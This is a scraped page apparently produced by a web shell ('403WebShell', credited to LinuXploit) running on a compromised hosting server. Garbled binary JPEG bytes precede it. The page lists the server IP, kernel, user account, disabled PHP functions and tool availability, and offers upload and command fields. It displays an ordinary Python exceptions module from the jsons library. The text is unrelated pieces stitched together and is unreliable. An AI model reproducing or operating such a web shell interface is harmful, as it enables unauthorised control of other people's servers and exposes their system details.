JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 88.222.222.234  /  Your IP : 216.73.217.26
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python311/lib/python3.11/site-packages/jsons/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python311/lib/python3.11/site-packages/jsons/exceptions.py
"""
Contains the classes that may be raised by jsons.
"""
from json import JSONDecodeError
from typing import Optional


class JsonsError(Exception):
    """
    Base class for all `jsons` errors.
    """

    def __init__(self, message: str):
        """
        Constructor.
        :param message: the message describing the problem.
        """
        Exception.__init__(self, message)
        self._message = message

    @property
    def message(self):
        return self._message


class ValidationError(JsonsError):
    """
    Raised when the validation of an object failed.
    """


class ArgumentError(JsonsError, ValueError):
    """
    Raised when serialization or deserialization went wrong caused by a wrong
    argument when serializing or deserializing.
    """

    def __init__(self, message: str, argument: str):
        """
        Constructor.
        :param message: the message describing the problem.
        :param argument: the name of the argument in question.
        """
        JsonsError.__init__(self, message)
        ValueError.__init__(self, message)
        self._argument = argument

    @property
    def argument(self) -> str:
        """
        The argument in question.
        :return: the name of the argument.
        """
        return self._argument


class DeserializationError(JsonsError):
    """
    Raised when deserialization failed for some reason.
    """

    def __init__(self, message: str, source: object, target: Optional[type]):
        """
        Constructor.
        :param message: the message describing the problem.
        :param source: the object that was to be deserialized.
        :param target: the type to which `source` was to be deserialized.
        """
        JsonsError.__init__(self, message)
        self._source = source
        self._target = target

    @property
    def source(self) -> object:
        """
        The object that was to be deserialized.
        :return: the object that was to be deserialized.
        """
        return self._source

    @property
    def target(self) -> Optional[type]:
        """
        The target type to which `source` was to be deserialized.
        :return: the type to which `source` was to be deserialized.
        """
        return self._target


class SerializationError(JsonsError):
    """
    Raised when serialization failed for some reason.
    """


class DecodeError(DeserializationError, JSONDecodeError):
    """
    Raised when decoding a string or bytes to Python types failed. This error
    is actually a wrapper around `json.JSONDecodeError`.
    """

    def __init__(self, message: str, source: object, target: type,
                 error: JSONDecodeError):
        """
        Constructor.
        :param message: the message of this error.
        :param source: the object that was to be deserialized.
        :param target: the type to which `source` was to be deserialized.
        :param error: the wrapped `JSONDecodeError`.
        """
        DeserializationError.__init__(self, message, source, target)
        JSONDecodeError.__init__(self, message, error.doc, error.pos)


class UnfulfilledArgumentError(DeserializationError, ArgumentError):
    """
    Raised on a deserialization failure when an argument could not be fulfilled
    by the given object attr_getter.
    """

    def __init__(self,
                 message: str,
                 argument: str,
                 source: object,
                 target: type):
        """
        Constructor.
        :param message: the message of this error.
        :param argument: the argument that was unfulfilled.
        :param source: the object that was to be deserialized.
        :param target: the type to which `source` was to be deserialized.
        """
        DeserializationError.__init__(self, message, source, target)
        ArgumentError.__init__(self, message, argument)


class SignatureMismatchError(DeserializationError, ArgumentError):
    """
    Raised when the source could not be deserialized into the target type due
    to a mismatch between the source's attributes and the target's accepted
    parameters. This error is raised in "strict-mode" only.
    """

    def __init__(self,
                 message: str,
                 argument: str,
                 source: object,
                 target: type):
        """
        Constructor.
        :param message: the message of this error.
        :param argument: the argument that caused the problem.
        :param source: the object that was to be deserialized.
        :param target: the type to which `source` was to be deserialized.
        """
        DeserializationError.__init__(self, message, source, target)
        ArgumentError.__init__(self, message, argument)


class UnknownClassError(DeserializationError):
    """
    Raised when jsons failed to find a type instance to deserialize to. If this
    error occurs, consider using ``jsons.announce_class``.
    """

    def __init__(self, message: str, source: object, target_name: str):
        """
        Constructor.
        :param message: the message of this error.
        :param source: the object that was to be deserialized.
        :param target_name: the name of the type that was the target type.
        """
        DeserializationError.__init__(self, message, source, None)
        self._target_name = target_name

    @property
    def target_name(self) -> str:
        """
        The name of the type that was unsuccessfully attempted to deserialize
        into.
        :return: the name of the type that was to be the target type.
        """
        return self._target_name


class InvalidDecorationError(JsonsError):
    """
    Raised when a jsons decorator was wrongly used.
    """

    def __init__(self, message: str):
        """
        Constructor.
        :param message: the message of this error.
        """
        JsonsError.__init__(self, message)

Youez - 2016 - github.com/yon3zu
LinuXploit